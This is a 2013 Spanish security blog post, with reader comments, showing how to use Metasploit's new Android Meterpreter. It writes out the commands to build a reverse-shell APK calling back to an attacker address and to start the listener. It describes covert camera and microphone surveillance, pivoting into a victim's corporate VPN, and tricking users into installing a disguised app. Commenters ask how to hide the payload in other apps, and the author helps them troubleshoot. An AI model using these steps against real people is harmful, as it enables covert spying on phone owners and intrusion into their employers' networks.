jueves, 30 de mayo de 2013

Nuevo Meterpreter para Android

Hace ya una buena temporada que venía haciendo un "marcaje de cerca" a ESTE "Pull Request" que existía en el GitHub sobre una iniciativa para portar el Meterpreter Java para Android, que aunque pueda parecer trivial porque las aplicaciones de Android se programan en Java, no es exactamente portable el Java "habitual" que el Java para la máquina virtual Dalvik que tenemos en nuestros Android.

Durante este tiempo he ido bajándome el fork de Metasploit de timwr, que ha sido una de las personas que más han contribuido en esta nueva versión del Meterpreter, y la verdad es que lleva tiempo siendo bastante estable, salvo algún error que me encontré que tuve que arreglar desempaquetando el APK, modificando alguna cosa y volviéndolo a empaquetar para su uso.

Finalmente, después de mucha espera, hoy mismo he visto que se ha hecho un commit de esta funcinalidad hace unos pocos días, por lo que en teoría ya tenéis la funcionalidad en el fork principal de Metasploit. Vamos a ver si es verdad:

$ ./msfupdate 
[*]
[*] Attempting to update the Metasploit Framework...
[*]
[...]
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Meterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Shell.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/androidpayload/stage/Stage.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/AndroidMeterpreter.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_fs_file_expand_path_android.java
 create mode 100644 external/source/javapayload/androidpayload/library/src/com/metasploit/meterpreter/android/stdapi_sys_process_get_processes_android.java

La cosa pinta bien ¿no? Sí que parece que hay ficheros que nos hacen pensar que la funcionalidad del nuevo Meterpreter para Android ha sido incorporada. Vamos a ver la ayuda de msfpayload, a ver si confirma nuestra teoría:

$ ./msfpayload -l | grep -i android
    android/meterpreter/reverse_tcp                  Connect back stager, Run a meterpreter server on Android
    android/shell/reverse_tcp                        Connect back stager, Spawn a piped command shell (sh)

¡Genial! Parece que se acabó eso de tener que instalar dos forks de Metasploit, uno el estandar y el otro con esta funcionalidad. Vamos a generar un APK con un Meterpreter con reverse shell, a ver si conseguimos que alguien se lo instale y jugamos un poco con él :)

$ ./msfpayload android/meterpreter/reverse_tcp LHOST=11.22.33.44 R > meter.apk

Tenemos que decirle a msfpayload que use la salida RAW. Eso en otros payloads nos sacaría el shellcode sin formato, pero en el caso de Android nos saca el APK. Veámoslo:

$ file meter.apk 
meter.apk: Zip archive data, at least v2.0 to extract

Nos dice que es un ZIP, pero es que en realidad un fichero APK no es más que un ZIP que contiene una serie de ficheros con un formato determinado. Ahora solo tenemos que instalar la aplicación en un Android, generalmente con algún tipo de engaño. Este APK es más bien una prueba de concepto, porque viene con un icono azul de Metasploit, pero podría esconderse el mismo código en una aplicación que "diera el pego" y el efecto sería el mismo. Al arrancar la aplicación se recibe la conexión inversa.


$ ./msfcli multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=0.0.0.0 E


Ya hemos comprobado que el Meterpreter para Android, funcionar funciona, pero lo que no sabemos es que funcionalidades tiene. Evidentemente, como sucede en las versiones Java y Linux, la funcionalidad es mucho más reducida que en la versión para Windows, pero aún así hay funcionalidades muy interesantes que nos pueden servir para ilustrar los riesgos de seguridad de un dispositivo móvil. Por ejemplo, viene con funcionalidad para realizar fotografías empleando tanto la cámara delantera como la trasera, si estuviera disponible. Otra funcionalidad que me pareció extremadamente interesante fue la posibilidad de activar el micrófono y usar el terminal como un micro oculto. Esta no conseguí hacerla funcionar en el teléfono que lo probé, pero supongo que poco a poco irán puliendo estos detalles.


Imagínatelo, comprometer un terminal móvil y poder escuchar y ver por donde va el usuario. Sin duda un gran trabajo de la gente que ha contribuido con este módulo y de la gente de Rapid7 al ayudar a su integración en Metasploit.

Otra de las funcionalidades que pueden impresionar menos a nivel mediático, pero que resultan muy peligroso a nivel corporativo, es la posibilidad de hacer port-relaying desde el terminal móvil. Digo que interesa a nivel corporativo porque, a un usuario "de casa", no se saca nada haciendo un port-relay, pero en una empresa... ¿qué ocurre si hacemos esto cuando el usuario tiene levantada la VPN que le da acceso a la red interna de la empresa?

meterpreter> portfwd add -l 80 -r 192.168.100.10 -p 80
[*] Local TCP relay created: 0.0.0.0:80 <-> 192.168.100.10:80

Lo dicho, un gran trabajo de la colaboración de la comunidad y del equipo de desarrollo de Metasploit que seguro que nos va a dar mucho juego.

18 comentarios :

mgesteiro dijo...

¡muchas gracias por el apunte!

Unknown dijo...

Muy bueno, gracias ;)

Pablo González dijo...

Interesante José, Muy interesante, lo voy a probar en cuanto tenga un poco de tiempo. Artículo muy interesante y un gran aporte.

Jose Selvi dijo...

Gracias a todos :)
Los que se lo han currado son los que han portado el Meterpreter a Android, que ha debido ser un trabajo de chinos. Yo solo lo he probado :P

Andriy dijo...

Buenas, justo lo que tenia pensado yo, han echo trabajo por mi.

Buen post!

Un saludo

Correcaminos dijo...

Interesante artículo!! Muy buena información. Me mola un huevo tu blog, eres un crack.
Saludos!!

Anónimo dijo...

solo falta un tutorial para inyectar el meter en otra app... y ya caramelitos de colores!

saludos!

ChanaTimbú dijo...

Hola Jose, aprovecho para felicitarte por tu blog y hacerte una consulta: queria probar el modulo del meterpreter para android pero no consigo instalarlo con el update de metasploit. Que solucion me propones? disculpa mi ignorancia manifiesta..
Saludos!

Unknown dijo...

Felicidades por tu blog, muy currado. Como comentas en tu análisis el apk generado tiene sus limitaciones puesto que depende de que el usuario pulse el botón en el dispositivo comprometido, y por tanto, hay que modificar el fuente de tal forma que el apk generado de más el pego, soy novato en ésto y quizás lo que pregunto es absurdo, pero donde se pueden obtener los fuentes para poder modificar y general una apk diferente a la PoC? Gracias y saludos a todos.

Jose Selvi dijo...

Hola Marta, gracias por tus comentarios :)

En general, en el directorio de Metasploit external/source puedes encontrar el código fuente de algunos exploits que en el correspondiente fichero ruby están ya en código binario, clases de java con exploits, etc.

En este caso, la carpeta se llama "javapayload", que tiene un fichero README que dice lo siguiente:

$ cat /opt/msf4/external/source/javapayload/README
Java Payload source code has moved to its own repository, hosted at
https://github.com/rapid7/metasploit-javapayload

Ya lo sabes :) Descargate de github el código fuente y la puedes juguetear por tu cuenta.

Anónimo dijo...

Metasploit genera el apk, pero esta vacía, 0 bytes, entonces no la puedo instalar, alguien podría explicarme que hago mal? Gracias

Jose Selvi dijo...

Con solo esa información poco te puedo decir, pero seguramente estás eligiendo mal los parámetros y por eso no te genera nada. Lo de que el APK lo genere es normal, siempre lo hace cuando usas la redirección de la salida, aunque sea vacío.

Anónimo dijo...

Gracias por tu respuesta, ya he conseguido generarlo, ahora el problema viene al instalarlo, siempre dice :" Se ha producido un error al instalar el paquete ". Lo instaló en mi móvil que es Android 4.4.2, alguna solución, será algo de los permisos o habrá que modificar algo del apk?Aquí me he quedado estancado. Gracias

Jose Selvi dijo...

Hola @Anonimo, la verdad es que los mensajes de error que muestra Android a los usuarios no son muy allá, pero si activas el USB debugging y haces un "adb logcat" encontrarás mucha más información que te podrá ayudar con este o con otros problemas.

En este caso, estoy casi convencido de que el problema es que el APK no esté formado. Aunque actives la opción de confiar en fuentes desconocidas, las aplicaciones de Android deben estar firmadas, aunque sea con un certificado auto-firmado, sino no funcionarán.

Hay muchos totorales por Internet que te ayudarán en este proceso.
¡Suerte!

Anónimo dijo...

Gracias,voy probar firmandola con eclipse,a ver que pasa.Un saludo.

Anónimo dijo...

Oye, te funcionó?
Actualmente los apk (con mfsvenom) salen igual, archivo de 0 bytes...

Anónimo dijo...

Starting the payload handler...

Se queda ahí, no me muestra nada después de instalar el apk...¿porqué?

Jose Selvi dijo...

Con esa información la verdad es que no puedo deciros mucho. Como mínimo necesitaría el output de adb logcat, a ver si dice algo. Normalmente cuando a mi me pasan estas cosas es porque he metido la pata con algún parámetro (LHOST, o tengo el FW activado, o he puesto una IP que no es enrutable desde Internet, o cosas así).

Si el APK os sale de 0 bytes eso es que habéis configurado mal las opciones de msfvenom, eso seguro. Recordad que el formato de salida tiene que ser RAW, que eso ya te saca el APK.